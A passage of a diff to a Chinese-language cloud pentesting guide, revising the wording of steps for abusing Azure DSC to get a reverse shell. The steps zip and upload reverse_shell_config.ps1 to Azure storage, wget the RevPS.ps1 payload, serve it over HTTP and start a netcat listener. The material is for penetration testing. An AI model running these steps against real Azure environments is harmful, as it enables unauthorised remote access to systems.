[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 -**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。 +**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。 - 第二步 — 压缩配置文件 -将 `reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储账户。 +将 `reverse_shell_config.ps1` 压缩为 `.zip` 文件,以便准备传输到 Azure 存储帐户。 ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -245,9 +256,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- 第4步 — 准备Kali Box +- 第 4 步 — 准备 Kali Box -Kali服务器从GitHub仓库下载RevPS.ps1有效载荷。 +Kali 服务器从 GitHub 仓库下载 RevPS.ps1 负载。 ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` @@ -259,7 +270,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 - 第 6 步 — 托管有效负载并设置监听器 -启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 +启动一个 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443